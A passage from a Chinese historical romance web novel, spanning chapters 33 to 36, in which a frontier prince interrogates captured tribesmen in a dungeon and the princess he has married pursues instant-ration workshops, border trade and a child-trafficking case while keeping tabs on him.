说清楚的,“我与郡主已说好了,日后时机到了,自是会和离的。” 山衣不懂,山衣干脆不问了。 反正他听府上的丫鬟们都说了,不要听一个男人说了什么,而是要看他做了什么。 他擎等着瞧日后世子会如何做吧。 第33章 阴森的地牢中燃着无数火把,明灭不定,恍若幽冥中跃动的鬼火,映出刑房中央的血腥景象—— 四名异族样貌的壮年男子被绑缚在刑具之上,赤裸的上布满狰狞的鞭痕,皮肉翻卷,血迹累累。 痛楚的喘息声在阴冷的刑房中回荡,伴着再次响起的一声鞭打皮肉的脆响,最右边的男子终于支撑不住昏了过去。 掌鞭的执刑人转身走到灯火最亮处汇报:“世子,再打下去,他就要不行了。” “打死便打死了,这不是还有其他人吗。” 明亮的灯火拢在百里浔舟冰冷的眉眼之上,他如视一件死物般轻描淡写地瞥了一眼昏死过去的男人,再轻飘飘地转到旁边三人身上,“本世子有的是办法招待活到最后的人,让他把自己知道的一切都吐出来。” 刑架上的人在这充满血腥的语气之中,自心底冒起了寒意。 他们最初并不怕死,因为一开始受刑时,还有人为他们看伤。他们便觉得百里浔舟为了从他们嘴里套出话来,轻易舍不得他们死,便更是不肯说。 可如今他这话的意思却是不在乎他们这条命了,而且活得越久的人,会经受更多更可怖的刑法…… 不、不行,无论遭受什么折磨,哲兀尔的勇士绝不能背叛真神…… “我说!我什么都说!” 在接连两人死在刑罚之下,又听百里浔舟细细讲了一遍即将要施在他们身上的水刑之后,幸存的两名哲兀尔勇士之中终于有一人支撑不住了,哀嚎出声。 “你这个懦夫!真神会降罪于你的!”恐惧至极差点就要撑不住但晚了一步投降的同伴顿时投来愤怒的一吼。 投降这人却已豁出去了。他最怕水,害怕窒息的死法,若要在水刑之中一遍遍体验即将被溺毙的感觉,还不如死在真神的降罪之下! 执刑人将投降者放下了刑架,他踉跄跪地,被层层血染到乌黑的长鞭挑起下巴,望进一双野兽般无情的眼眸之中。 “能不能活下去,端看你说的消息够不够买命了。” 投降者恐惧地咽了咽口水,回答此前刑讯的提问:“除了我们和乌赫族,达里亚族和歧连部也参与了计划。” “……我亲眼看见一个大雍人走进了首领的营帐,之后不久,首领便叫了我们过去,计划集结分散的北夷兵力,诱杀定北王世子……” 百里浔舟眼眸一眯:“大雍人?可记得是什么模样?” 投降者浑身颤抖,努力回想,却只道:“他将自己裹得严严实实,丝毫未露,只依稀记得身形似有七尺,是个男人。” 这消息跟没有没什么两样,大雍七尺男儿郎遍地皆是。 百里浔舟摆摆手,让人将他带下去上药。随即,他将目光投向刑房一角与此处格格不入的漆黑纱屏处。 纱屏后传来封眠的声音:“将人带进来吧。” 漆黑纱屏隔绝了血色,矮几上燃的熏香祛了空气中铁锈般的血腥味,却阻不住哀嚎声。 雾柳已是脸色煞白,她想着流萤胆子小,便自己跟着郡主来了,没想到眼下的场景比狼骨岭那夜的战场还要可怖几分。世子刑讯起来活像从人变成了恶鬼一般。 封眠脸色亦是惨白,但声音听着却仍镇静。 她此刻心神还放在最后那名哲兀尔人的口供之上。 大雍有人和北夷勾结,那么承平二十一年的百里浔舟,究竟是被幕后之人策反,还是被两方联手逼反的呢? 不管是哪种情况,只要在那之前看紧了百里浔舟不和可疑人员接触,再将这个叛国通敌之人揪出来,有八九成的可能可以避免定北军谋乱。 心下有了更明确的主意,封眠觉得安定了不少,敛回神思,隔着纱屏看向被鸾仪卫押进来的三个造谣挑事的头子。 三个战战兢兢的人一进门便被血腥味扑了一脸,待看清面前血次呼啦的场景,和刑架上两个已然断绝生机的人时,十分有默契地嗷一嗓子就跪了,争先恐后地告罪求饶。 最左一身粗布衣衫的中年男人哭天抢地:“郡主饶命,世子饶命!小的当真只是收钱办事,别的一概不知啊!” 中间的青年一身细布衣裳,瞧着像家中有些余钱的商户子,脖颈上有一道已经结痂的细长伤口,他吓得涕泗横流,赌咒发誓道:“小人对天发誓,是有人拿一家老小的性命威胁小人,小人不敢不从啊!否则给我三百个胆子,我也不敢散播与郡主有关的谣言呐!” 最右是个穿金戴银、大腹便便的商人,他不住点头附和着身旁年轻人的说辞,声泪俱下地忏悔:“草民日后再也不去花楼了呜呜呜……” 混在人群中喊话挑拨百姓们抢喜轿的是收钱办事那个,剩下两个自述被流匪闯入家中要挟的,是在花楼中传消息的。 百里浔舟查看了一眼青年脖颈处被流匪留下的伤痕,伤口细窄,边缘平整,像是狼骨岭一带流匪所用的一种短刃。狼骨岭的流匪为何要散布与郡主有关的消息? 抓来的人口中再审不出新的东西,只留下了一层又一层的迷雾。 封眠与百里浔舟并肩踏出地牢,外面的日光落在身上时,封眠眼前亦是一黑。她眨了眨眼,意识到是身旁的百里浔舟抬手遮住了她的眼睛。 “从黑暗里出来乍一见光,容易伤眼。”百里浔舟这般解释道,郡主生了双琉璃般清透漂亮的眼,若是晒伤了就可惜了。 封眠心底微微一暖,笑道:“多谢世子殿下。” “方才地牢里火把颇多,倒也没有那么黑。也要多谢世子体谅我与雾柳。” 封眠想着,往日地牢里应比今日要暗上许多,毕竟越阴森可怖的环境,越容易击溃犯人的心理防线。世子应是因为她非要跟来,怕吓到她,才临时点了这许多的火把。 遮在眼前的手掌似是不好意思地蜷了蜷指尖,片刻后放下了。 明亮的街景映入封眠眼中,与方才地牢刑室中的景象对比,恍如隔世。身旁百里浔舟告了个辞要走,封眠忙抓住了他的衣袖。 “等等,我还有事要与你说。我们寻个地方用膳吧。” 忙碌近一日,还未吃过东西的百里浔舟就这么被封眠拽去了路边的酒楼。 直到在雅间落座,菜品上齐,他还在纳闷,自己方才怎么被她那么一拽,便听话地乖乖跟着走了? 封眠没察觉到百里浔舟的走神,方才见多了血腥,她此刻胃口不佳,只动了两口青菜便停了筷,酝酿着语言,将自己在狼骨岭被流匪袭击一事说了出来。 “我救下的那个女孩是你?”百里浔舟惊讶极了,乌黑的瞳孔缓慢落到封眠的脸上。 封眠点了点头,略有些赧然地道:“当时我听见你那番不顾百姓性命的言论,对你颇有些误会,才按下了此事没有说。幸而后来在云中郡巧遇了那名被挟持的富商,这才解了误会。” “我也要多谢世子殿下救了我一命。” 封眠说着起身对百里浔舟一礼,被百里浔舟忙不迭扶住了,“这本就是我的职责,当不得一个谢字。倒是郡主为了救人才身陷险境,我……” “我当时还以为郡主娇弱,更误会郡主性情高傲,才不愿见我……实在惭愧。” 想起当时心中对封眠的偏见不满,百里浔舟羞惭地红了耳根。他当真没有料到,生长于盛京的贵女,竟有如此仁心与胆魄。 百里浔舟越想越愧,当即像要与人结拜那般双手托起茶盏,字句掷地有声:“我暂且以茶代酒,在此向郡主赔罪了!” “哎……”封眠动作慢了些,只能无力地抬着手,目瞪口呆地看着百里浔舟豪爽地干了三杯茶 ,一时想笑又只能忍住,微微侧过首去不让百里浔舟看见自己抽动的唇角。 盛京中人对世子殿下的误解当真也是太多了,封眠想道,或许世子殿下在战场上当真杀人不眨眼,御下时用兵如神,威严凛然,对待看不过眼的人更是桀骜不逊。 但有些时候,他分明纯挚直白得像……像五皇兄养得那只黑毛狼犬,龇牙时凶得吓人,但处熟了之后,又温驯可爱得紧。 见封眠不说话,还侧过脸去,百里浔舟有些紧张了,她这么生气吗? “不然……我让小二上些酒来?”只喝茶好似真的有些没诚意。 封眠抿了抿唇角,托腮看向他,眼睫微微垂着,看似有些伤心的模样,“世子是不是很讨厌盛京的人?” “……”百里浔舟张了张唇,终究是说不出违心之言,“是,遇到郡主之前,我一直认为盛京权贵尽是些“何不食肉糜”的膏粱之辈,锦衣玉食,朱门酒肉,不辨人间饥寒。” “北疆的将士们多年征战,力守国门,可朝廷的军粮辎重总是一缓二拖,我父亲堂堂定北王,亦要为了三两军需与朝廷周旋扯皮。” “每逢冬日,旱涝,街头巷尾总有冻绥而亡的百姓。请求赈灾的折子发了四五道,却只听闻盛京某户贵人家中又设了何种新奇有趣的宴席,所费之靡,足够北疆百户人家的嚼用。” “有时我……” 百里浔舟顿了顿,仍是低缓道:“有时我甚至不知,陛下心中是否还记得北疆的将士与百姓,是否还信任着父亲与我。” 久立风雪中的人,如何能不对身处温柔乡中肆意享乐的人生出偏见与怨恼呢? 尤其少年人的心气总是比天高,看不过眼之事更如江之鲫。 “他若不记得你们,怀疑你们,便不会将我嫁过来了。”封眠坚定道。 虽然嫁她是因为命格之说,但舅舅本就有意将皇室女嫁入北疆。或许此举有着“和亲”一般稳定北疆的意味,但从他最初属意的人选是最宠爱的柔妃的女儿这一点来看,他亦有通过这一桩婚事来告诸天下,他对北疆的重视,对定北王的信任,而非监视和警告。 以褚景涟的脑子,她能做什么探子该做的事?—— 作者有话说:褚景涟:惹你了吗我[裂开] 第34章 暮色如墨,无声地晕染天际。长街上次第亮起灯笼,将行人的身影拖得长长地映在青灰瓦墙之上。 一道挺拔如竹的身影后,缀着一个垂头丧气的捂着肚子的身影。 山衣颇有些幽怨地瞪着身前世子的背影,揉着饿扁了的肚子忿忿不敢言。按他的计划,这时候他应该已经坐在王府里大吃大喝了,但今日世子也不知怎么了,偏要走路回府,还走得慢吞吞的。 这要何时才能回府吃上晚膳啊! 百里浔舟在看街上的百姓。 各色商铺的店招旗帜在渐浓的夜色里软垂,几户人家的炊烟袅袅腾起,孩童的欢闹声与长街的喧嚣交织在一起,满满的市井烟火气。 自今日与封眠分开后,他一直在想她说的话,此刻看到百姓的和乐,看到坠着“封”字牌的铺子在风中摇曳,进出的百姓脸上都挂着心满意足的笑,便觉得她说得应当不错。 起码,她的到来让北疆变得更好了一些,或许他亦应该多信任她一些。 “世子哥哥?” 一道轻唤声传来,百里浔舟抬眼,看见了元寄雪。他不知不觉间,已经走到了王府附近。 暮色已深,元寄雪孤零零站在元府门外,烛火映在她身上亦显得清冷冷的。此刻她钗环凌乱,显得有些狼狈,看起来像是刚经历过一场争吵。 百里浔舟眉心一蹙,向元府内望了一眼,“是谁又为难你?” “没事,与父亲拌了几句嘴而已。我出来透透气,一会儿便回去了。”元寄雪笑着摆了摆手,她一双美目在百里浔舟身上打了个圈,关切道:“昨日你一回来便赶着大婚,我还未来得及问你,此行可有受伤?我替你瞧瞧?” 百里浔舟忽地翘了翘唇角,道:“不用,郡主替我上过药了。” 只是上个药而已,他这么高兴做什么? 元寄雪心下打了个突,又见他似乎并未注意到自己没有出席他的婚礼,不由有些失落,兀自继续说着:“那便好。若非昨日偶染风寒,我定是要亲自去王府恭贺世子哥哥和郡主的。” 百里浔舟这次倒是听出了她话中的重点,当即道:“夜风寒凉。你既染了风寒,就别在这风口处站着了。” 元寄雪还没来得及因这一句关切而高兴,就听他接着又道:“我瞧郡主夜里吹了风,回去便要喝上一碗汤药,你也预防一些为好。” 不过说了三句话,两句话都不离郡主,元寄雪只觉一颗心比这夜风还凉,恹恹不乐地回了元府。 她想到父亲方才给自己提的几桩亲事,心下更是绝望。不能再这样不痛不痒地暗示,等着百里浔舟意识到她的心意了,她需要想一些见效更快,更直白的法子…… * 踏入藏弓院时,百里浔舟看见屋内通明灯火,愣了一下才想起自己刚刚和郡主拜了堂成了亲,她已从雪月居搬了过来。 百里浔舟自幼被定北王带着在军营中生活,十分独立,身边不喜太多人伺候,是以往日回王府时,院中总是空荡荡的,只有一名守院的侍从点着一盏孤灯照亮。 头回在自己院中瞧见如此温馨热闹的画面,百里浔舟感到有些陌生,既有一直以来习惯了的生活空间被旁人入侵的别扭感,又莫名有一点不易察觉的期待与欢喜。 他大踏步迈进屋内,灯下正将信用火漆封缄的封眠听见动静扭过头来,双眼微弯,露出一个浅笑,“世子回来了?可用过晚膳了?” 往日他回王府时,母亲若是未歇下,也会这般问他,但不知为何,同样的字句从封眠口中说出来,莫名让他有些羞赧和紧张。 百里浔舟还未吭声,山衣自他身后可怜巴巴地探出头来,“回世子妃的话,何止未用晚膳,我们这一路走着回来的,腿都要走细了……” 话音未落便收到百里浔舟一记眼刀,委屈兮兮地缩了回去。 封眠笑道:“厨下留了饭菜的。流萤,去安排一下。” 流萤应了一声便出去了,山衣亦步亦趋地跟上,“流萤妹妹,我与你同去!” 百里浔舟走向前,看着封眠将手中的几封信交到雾柳手中,毫不避讳地让她着人快马加鞭送进宫中。 “给陛下的家书?” 封眠点了点头,“开汤饼作坊一事要跟舅舅说上一声,我想这即食汤饼日后能让大雍的将士们都能吃到是最好的。” “还有,北夷的事我也写在信中了。”封眠坦诚地看向百里浔舟,“虽然王爷定然会在奏折中提及,但大雍内部有人叛国一事出自他口中,与出自我的口中,在朝中那些人看来,想必还是有所不同的。” “我还想了一个法子,若是能成,说不定可以阻止部分北夷部族的联合。但这个法子可能有些危险,还是等舅舅同意了,我再与你说吧。” “你还有什么想知道的吗?” 百里浔舟实则只是没话找话随口一问,完全没料到封眠竟将自己在信中写了什么都逐一道来了,甚至还怕自己没听够一般,问他还想听什么。 他一时哑然失笑,道:“郡主其实不必与我交代得这般清楚。” “君子以诚待我,我必报之以信。我有事不瞒着你,亦希望日后世子有事也莫要瞒着,如此等价交换,对你我都好。” 封眠心中自有小九九,她可还要盯着百里浔舟的一举一动呢,若想不惹他厌烦,自己自然要更为主动坦诚一些。 百里浔舟听明白了,“郡主想知道什么?” “那可太多啦。”封眠登时来了精神 ,“先前烧粮草一事的线索就这么断了吗?会不会也和北夷这次对你和王爷设伏有关?北疆有没有通敌的可疑人选?你心中有怀疑的人吗?” 一堆问题直直砸进百里浔舟的脑袋上,偏偏还都是他此刻回答不出来的,恰巧此时流萤带人端了饭菜回来,百里浔舟忙挪步到桌前。 “好饿,我先吃饭。” 封眠便干脆托腮看着他吃,眼睛追着他的动作瞧,直将人盯得食不知味,乖乖交代道:“这些还在查,只能说我也怀疑这些事件彼此之间有所关联。但如有可能,我不愿怀疑北疆任何一个人。” “若以疑心揣度每一个人,恐怕北疆内部很快便要生乱了。说不定反而着了他们的道。” “世子殿下所言极是,还是世子殿下聪慧,体察入微,识人心计。”封眠深以为意地点头,将百里浔舟夸得微微红了耳朵。 她没再追问,反正她是会看着他,帮他揪出可疑之人的。 * 京城,明心殿。 “时辰可够了?” “够了够了,郡主信上不是说了,只需默数一百八十个数即可。快,快将盖碗揭开瞧瞧!” 兵部侍郎严焕之火急火燎地催促着小太监动手。 他今日不当值,但陛下特意遣人来传他入宫,说是有个新鲜吃食要给他看一看。他心中还颇为纳闷,他是兵部侍郎,又不是户部的,什么新鲜吃食还要特意找他过来? 直到入了明心殿,见了那几块躺在漆盒中的干汤饼,听闻此物久贮不腐,沸水冲泡即食,肉蔬皆齐,鲜香美味,当即就想通了其中关窍。 若是此物能用在军中!那大雍将士们的日常饮食将得到大大的改善! 因此他现下简直对此物抱足了期待! 盖碗一掀,热雾裹着麦香腾起,各色酱料的香味直冲鼻腔。 小太监迅速动手将泡软了的热乎乎的汤饼分别盛入几个小碗中,呈给嘉裕帝并在场的几位大人。 严焕之顾不得烫,囫囵吞了一口,顿时惊喜地瞪大了眼,“这滋味甚美啊!姚大人,顾大人,你们快尝尝!” 他说着又迫不及待地尝了口热汤,幸福得眼睛都眯了起来。 户部侍郎姚峰狐疑地看他一眼,夹起一筷子汤饼吹了吹,才谨慎地放入口中,皆着便是一讶:“这汤饼竟如此有嚼劲?比之汤饼店中现做的,别有风味。” 新科状元顾春温在户部领了员外郎一职,深得嘉裕帝和户部侍郎的器重,此番也被召入了宫中,他细细将汤饼、汤汁、泡开的肉粒和蔬菜一一尝过,眼底亦是掩不住的惊喜。 “这是郡主着人研制出来的?可是有用作军需之意?” 嘉裕帝颇为骄傲地颔首,“正是。清平说,她见北疆将士们吃糠咽菜,心中不忍,便想着尽己所能,为他们做些实事。” “只是这汤饼所费不赀……” 听嘉裕帝说了制这汤饼的开销,姚峰的眉心皱得都解不开了:“如此花销,莫说供大雍全境将士,便是只供北疆将士食用,亦是揭不开锅的……” “这么显而易见的问题,何须你们在此提?清平早便想到了。”嘉裕帝眉眼间的得意几乎溢出来了,“她已在北疆开设了汤饼作坊,准备以利养需,大大地降低了军需成本。景淇那小子最近也在云中郡,他对这作坊感兴趣得很,跟着清平入了股。” “如今云中郡的作坊已运转起来了,景淇也去周边几座城镇考察过,准备以云中郡为圆心,将作坊扩散出去。只要诸位爱卿觉得可行,朕也决定拨些银两分股,将这即食汤饼,正式纳入军需!” 严焕之噗通就跪了,嗓音发颤:“若真能如此,我军士卒每旬能增五次荤汤热食!” 他重重叩首,“微臣在此,代大雍将士谢过陛下,谢过郡主!” 姚峰和顾春温亦跟着跪下,姚峰道:“户部定当全力相助!” “好了,都起来吧。”嘉裕帝笑着命几人起身,将军需一事细细安排下去,接着轻咳了两声,才又肃容道,“清平信中还提及一事,北夷三十六部恐有重新合作的迹象,我大雍内部,有人私通外敌。” 此话一出,殿内气氛为之一肃,严焕之惊道:“微臣若没记错,定北王前两日的奏折中,似乎也启奏了此事?” 嘉裕帝轻哼一声:“还有人给朕上折子,参定北王危言耸听,掩耳盗铃。当真是安逸日子过久了,脑子都过坏了!” 气得他又重重咳了两声,深呼吸平复过后,才又接着道:“此事,清平提了个主意。她自觉见识不深,所以特来问问朕的意见。” “她想在北疆重开互市,先与北夷安分的几个部族交易,再逐步扩大。待北夷各部都因此怀疑对方与我大雍联合,他们私底下的盟约,便也不稳了。” “朕想听听你们的意见。” 严焕之与姚峰为官多年,闻言虽有心动,却谨慎互视一眼,不敢妄言。 顾春温却十分果断道:“微臣以为郡主的提议可以一试。” “北夷之所以喜好劫掠我国边境,皆因自身物资匮乏,若能开互市,互惠互利,不必通过抢杀便能换取物资,他们心中生了求安稳之意,战意定会削弱。” 嘉裕帝颇为赞赏地点头,“只是清平到底是个年纪轻轻的女儿家,不通政事。若要在北疆开互市,需得有人相助。朕想要派个人带旨前去,从旁辅佐,众卿觉得派谁去合适?” 郡主能想出互市的主意,既有胆魄又有智慧,岂会做不好事? 顾春温心中这般想着,唇角不自觉便抿起了笑意。 “陛下。”他撩袍跪下,绯色官服在地上铺开,“臣愿请命北上,协郡主共开互市。” 他声音沉稳,指尖却难得紧张地袖中揪住了一角布料。 原以为此生不会再有机会与郡主相见了,没想到机会竟来得这般快—— 作者有话说:百里浔舟:她已经是我老婆了,你在期待什么啊? 顾春温:[墨镜][墨镜][墨镜] 第35章 灯影微斜,嘉裕帝仍坐在矮桌前翻看着封眠寄来的信。 “父皇,该吃药歇下了。”褚景泽将一碗乌黑的汤药递到嘉裕帝手边,嘉裕帝瞥了一眼便皱眉挪开视线。 褚景泽好笑道:“父皇怎么还不如小满儿,她喝药时可是连眉头都不皱一下的。” 提到封眠,嘉裕帝的脸上总算露出了些笑意,“她那是怕喝了药哭鼻子,朕笑话她呢。” 说着,他幽幽叹了口气,“她信上说自己万事都好,朕总是不信的。也不知她到底是否真的习惯了北疆的气候,会不会又瘦了?” “父皇如此惦记小满儿,应知她心中定然也如此惦念父皇。只要您保重好身体,她才能安心。否则儿臣可要写信告诉她,您将自己累病了还不肯吃药。” “行了行了,一碗药而已,朕吃了就是了,你少去与她胡说。”嘉裕帝皱着眉端起药碗,一脸视死如归地将药喝尽了。 褚景泽摇摇头,叹道:“儿臣倒想与她胡说呢。您可知道,她给太子妃都写了信,偏只字未给儿臣。当真是人走远了,心中愈发没有我这个兄长了。” “郡主怎么竟还给您写信了呢?” 东宫内,太子妃寝殿,榴月有些好奇地看着正在读信的世子妃。自打收到这信,太子妃都看了半天了,她终于没忍住问了出口:“您除了送过郡主一份添妆,几乎没什么来往,郡主莫不是有事相求。” 狄兰看信时,嘴角的笑意一直未消过,闻言目光也未离开信件,道:“你呀,这是将人往坏处想了。郡主想来是因我送过去的礼物,猜我会喜欢北疆风物,所以特意给我寄了些画来……” “太子殿下到——” 狄兰忙搁下手中的信,起身行礼,“臣妾见过太子殿下。” “免礼。”褚景泽进来后便看向被狄兰搁下的信,笑道。“又在看清平寄来的信?” “郡主这封信可不是普通的信。”狄兰是当真喜欢封眠的信,当下便喋喋不休地夸了起来,“郡主信中附了许多副小画, 皆是她去往北疆一路上所见之景。” “臣妾幼时最大的愿望便是能踏遍大雍,去见各种不同的风景。可惜的是长到这般大了,连京城周边都未曾出过。没想到郡主竟能知臣妾所想,命画师沿途作了这些风物小画寄来,也算一慰臣妾的心意了。” 狄兰说着将小画拿给褚景泽看,褚景泽翻看一番,忽地笑了,从中挑出几幅来,“这几幅可不是画师的作品,是清平亲手所画。” 狄兰讶异:“这竟是郡主画的?难怪我瞧着这几幅的笔触似是有所不同,还当是不同的画师所作。” “清平这手画技,还是孤亲自教的,自不会认错。”褚景泽看画时眼中含笑,转眸看向太子妃时,笑意仍然未褪,“她愿为你花心思,说明你与她投缘,甚好。” “日后无事,你可多多与她写信。她独自在北疆,想必也没几个能说知心话的人。在父皇那儿,即便那位百里世子让她受了委屈,她怕是也不会说。” “你与她皆是女子,又是姑嫂,还要多关心开解她,若百里浔舟欺负她,你定要告知于孤。” “太子殿下待清平郡主可真好。今日在咱们宫中待的时辰,比往日都要多,日后您可以多多与太子殿下聊起清平郡主呀。” 送走太子后,榴月又开始兴奋地出主意,如今东宫姬妾少,可是个拢住太子心的好时机呢。 狄兰郑重地点头:“太子殿下说得不错,我得多与清平妹妹通信才是。若她有何苦楚,也不致没人倾诉!” 榴月:太子妃的重点好像又岔开了,罢了罢了,总归结果是一样的,与清平郡主多通信,太子殿下定也来得勤! * 云中郡,被众人惦念着的封眠正跟着蹦蹦跳跳的槐花进了汤饼作坊。 作坊中的女工们皆是封眠带着槐花去挑的,毕竟日后要与槐花一同工作,总要是能与她合得来的。 槐花也没有辜负封眠的期望,短短几天就将作坊有条不紊地运转起来了,为此,她没少和封眠手下其他店铺的掌柜们取经。 “我听糕点铺的师傅们说,有时将秘方教给了徒弟,难免就会有徒弟带着秘方跑路的风险,所以便将即食汤饼的工序做了切割,每人只负责其中一部分,分开工作,现下每日的产量都上来了呢!” 槐花与封眠初见她时已大为不同,腰杆挺得更直,眼睛更明亮了,整个人由内而外地散发着一种蓬勃的生命力。 与母亲一起远离了吴买办后,她每一天都活得充满了希望。 “做得很不错。”封眠丝毫不吝啬自己的夸奖,“日后小侯爷那边的作坊若是办起来了,定要派人来向你请教的。” 槐花兴奋又紧张地挺了挺胸膛,“我定不给郡主丢脸!” “你只要做到自己满意就好了。”封眠也不想给她太大的压力,“别怕犯错,你已经做得很好了。” 槐花重重地点头,心想郡主可真温柔啊,还很信任她,因为这份信任,她才有机会站在这里,负责这么大的一桩生意。以后她定要像郡主一样,温柔地包容其他人,信任她们,帮助她们将事情越做越好! “郡主饶命!” 槐花不过走了一会儿神,一名女工捧着一托盘用来包装即食汤饼的油纸包直直撞到了封眠身上,纸包撒了满地,女工惶恐不安地跪地求饶。 “哎呀,走路的时候小心些。”流萤嘴快地嗔了一句,扶着封眠左右瞧瞧她可有受伤。 “没事,快起来吧。你可伤到哪里没有?” 封眠打眼一瞧,撞到自己身上的女工似乎跟槐花差不多年岁,衣裳头发都打理得十分整洁,但皮肤蜡黄,瘦瘦小小的,显然以前过的日子十分清苦。 女工抬头看了一眼封眠,过瘦的脸上一双眼睛格外的大,见封眠确实是一脸真切关心地望着她,她眼底忽然多了一抹坚定,当即叩首嚷道:“求郡主救命,民女是被拐卖至此的!” “这到底是怎么回事?” 商会的议事厅内,折夫人一脸厉色地怒视着面前的牙婆。 牙婆满头冒汗,看着兀自坐在封眠身边抹泪的女工蔡小田,急得拍大腿,“民妇当真不知这是怎么一回事呀!她、她这手续都是齐全的呀!” “说是家中欠债,才以人相抵,卖身契签了十年。民妇是切切实实查过手续的,否则怎么敢送过来给郡主挑呢!” 封眠:“你当真不知情?” “郡主明鉴,民妇做了半辈子牙婆,就靠这行当混口饭吃,岂会做这种砸饭碗的事!”牙婆急得口中发苦,埋怨地看向蔡小田,“你说你这丫头,买你的时候你咋不说呢?否则我肯定不能成交啊!” 蔡小田红着眼不住落泪,憋了数日的委屈终于可以倾泻,呜咽着道:“我害怕,他们打起人来不要命的,之前有人试图求救、逃跑,都被抓回来打了个半死……” “若能被买下,我兴许还能有其他的活路。可若当场拆穿了他们,我便只有死路一条了!” 封眠安抚地拍拍蔡小田的后背,“好了,没事了。你可还记得那些人的长相?” “记得。”蔡小田哽咽着点头,眼底迸发出恐惧和恨意,“我永远不会忘记那几个人的脸!” “他们有很多同伙,但我只见过其中三个人。被他们绑着的时候,他们会把我们的眼睛都蒙上了。” “三个人也够了。晚些我让画师去见你,你将那三人的容貌描述给他。有了画像,将他们一网打尽,便只是时间问题。” “他们、他们……”蔡小田鼓足了勇气,才说道,“他们背后似是有靠山……应该是个大官。” “我也有靠山,我背后的靠山可是圣上。什么官儿再大,还能大得过圣上吗?”封眠望着蔡小田的眼睛,给她一个坚定的眼神。 蔡小田忽然羞惭地垂下头,“对不起。今日我是故意撞上郡主的,见您是真的和善,才敢说……” “你很聪明,也很勇敢。”封眠宽慰地摸了摸她的头,“你且放心,我定会将这伙人抓住,将他们拐走的孩子,都送回家中。” 郡主的话给蔡小田吃下了一颗定心丸,她终于绽开一个笑容,安心地点了点头。 折夫人望向封眠的目光中满是赞赏,跟着道:“郡主若有需要的地方,我定鼎力相助。” 封眠回了一个感谢的笑,吩咐道:“今日之事,还请在做诸位不要外传,以免打草惊蛇。” 折夫人点头,冷峻的眼风扫过堂中的牙婆和自己身边的侍女,:“自然。若是谁干走漏了风声,不必郡主出手,我第一个不饶了他。” 侍女恭谨行礼,牙婆抖着身子称是。 离开商会时,封眠的心情仍是郁郁。 云中郡是北疆最大的城镇,有定北王镇守,治下还有人胆敢公然行拐卖之事,而且还有为官之人做靠山,那云中郡之外,又有多少稚童被迫与家人离散? 她不但要抓,还要杀鸡儆猴,让恶人再不敢行拐卖之事! 要做的事太多,还需得一件一件来。 封眠上了马车,备好纸笔,写了张字条,唤来一个侍卫,吩咐道:“送去疾羽营给世子。” 疾羽营的急递铺往日只给士卒们送过家书,今日还是破天荒头一次给世子殿下送字条。 连百里浔舟本人都有些懵,往日便是他行军在外,也没收到过一个字的家书,“谁送来的?” “是郡主殿下身边的侍从。” 郡主?莫不是有什么急事? 百里浔舟匆匆展开字条,却见上面简单几行字写着—— 今日去看了即食汤饼作坊,一切都好。 因一些事,见了折夫人一面,现在不便说,日后再与你详谈。 午间准备去瓦舍尝尝小食。 你呢? 末尾还画了个线条简单可爱的小姑娘,脑袋上顶着一个问号。 “她这是……何意?” 姚知远探头过来一瞧,下结论:“打探你的行踪。想知道你见了哪些人,做了什么,接下来还要去做什么。” “属下的建议是,不要理,有被摸清底细的风险。” 百里浔舟转过身去不给他看了。 郡主说不定只是有些无聊和好奇,何必说得这般严重。 收到百里浔舟回的字条时,封眠还有些惊讶。她本以为他不会理会,还得坐上几回冷板凳呢。 不过这回复的字条也十分简介,只写了两个字——练兵。 没见什么特别的人就好。 她还做不到往军营里安插自己的人手,只能用这种朴实无华的笨法子试着套套百里浔舟的行踪。以免他在自己不知道的地方,忽然就走上了梦中那条死路……—— 作者有话说:姚知远:我说什么来着[托腮] 第36章 疾羽营的守卫觉得清平郡主,或许现在应该称之为世子妃,最近来疾羽营来得格外勤。 有时午间来一趟,有时晚间来一趟,有时午间和晚间都会来。 世子妃待世子殿下可真是上心,可世子殿下怎么成婚没几日就开始夜夜宿在军营中了?难道还是没放下和离的念头? 看来世子殿下在感情上也和追击北夷戎敌是一样的目标坚定,可怜郡主这般身份尊贵的美人竟然也会真心错付…… 真是可怜可叹。 守卫第五次注视着封眠踏入军营,面上是一如既往的严肃,心下却是八卦活跃,只恨正在当值,不能与同僚畅聊。 “又来了?这次是送点心,送果子,还是送茶汤?” 这几日百里浔舟都没有回王府,他从新婚之夜起,坚持了两日与封眠同榻而眠,看似睡了,实则一直半眯半醒着,听着耳边属于另一个人的清浅呼吸声,心口总是浮浮躁躁得,睡不安稳,也别扭得紧。 他想着郡主也没像邀他牵手那般,要他日日回府住,那还是在营中住下舒坦一些。也免得他自己总是往府里跑,让郡主误会些什么。 可没成想他主动地想撇清关系,郡主倒是日日都来军营报道了。 “她到底是什么意思?”百里浔舟这十九年的人生里,还从没被哪个女子这般日日追到军营中来“献殷勤”,脑袋里那根经年不动的弦儿此刻终于被轻轻拨动了一下。 他轻轻蹙起眉心,扭头看向下首的姚知远,不甚确定地问道:“她莫不是当真对我动心了?” 这话说来还有些难为情,他仿佛屁股底下坐了个刺猬般不安分地挪动了几下,目光却是一错不错地盯着姚知远,也不知是期待着听到认同的话,还是期待着听到反驳的话。 姚知远手上正拿着一块昨日郡主送来的精致茶糕慢慢享用。 昨日郡主送来的小小食匣里只摆了四块碧绿色的茶糕,他计划好了每日一块,如今面前的食匣里已只剩下一块了。 当真是计划赶不上变化。 他在心里颇为可惜地想到,面上不咸不淡地看了一眼百里浔舟,一心二用地回答他方才的问题:“有吗?世子有的,属下也有啊。” 姚知远晃了晃手中只剩一半的茶糕,笃定道:“世子想多了。依属下之见,郡主此举,便与此前的商铺折扣和即食汤饼一般,用一点好处收买人心罢了。” “世子如今毕竟是郡主的夫君了,北疆又是定北王的地盘,郡主总不能与世子交恶吧?” 他试图委婉些表达“你想错了,郡主不喜欢你”的意思,但话出来实则还是直白极了,听到人耳朵里不甚舒服。 百里浔舟扑棱扑棱耳朵,心下哼了一声:依你之见,你眼里除了吃食,能看见什么? 郡主送来的东西样样都有你一份,还不是沾了本世子的光? 百里浔舟没将心里想的话说出口,只是面无表情地瞪着姚知远,硬邦邦咬字道:“既是收买人心之物,那你别吃了。” 姚知远立即如仓鼠一般迅速将最后一口点心咽入腹中,然后喝了口茶顺了一瞬,才慢条斯理道:“属下已经被收买了。” 百里浔舟:? 随即他就见姚知远不紧不慢地起身,理了理袍袖,转向门口的方向挺胸抬头,面上挂起了如沐春风的笑意,在渐变雨过天青色裙头卖过门槛的瞬间,抬手行礼,恭谨地像变了个人一般,“见过郡主。” 百里浔舟:…… 方才光顾着与姚知远生气,竟连这么近的脚步声都忽略了,实在是失策。 